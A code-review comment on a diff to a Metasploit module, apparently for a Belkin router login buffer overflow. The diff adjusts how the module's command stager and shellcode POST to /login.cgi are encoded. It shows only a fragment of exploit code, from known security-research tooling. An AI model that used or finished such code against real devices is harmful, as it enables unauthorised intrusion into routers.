encoding

Author: m-1-k-3

modules/exploits/linux/http/belkin_login_bof.rb

@@ -82,7 +82,7 @@ def exploit
     execute_cmdstager(
       :flavor  => :echo,
       :linemax => 200,
-      :concat_operator => " %3b "
+      :concat_operator => " ; "
     )
   end
 
@@ -98,7 +98,7 @@ def execute_command(cmd, opts)
       res = send_request_cgi({
         'method' => 'POST',
         'uri' => "/login.cgi",
-        'encode_params' => false,
+        'encode_params' => true,
         'vars_post' => {
           'GO'      => '',
           'jump'    => shellcode,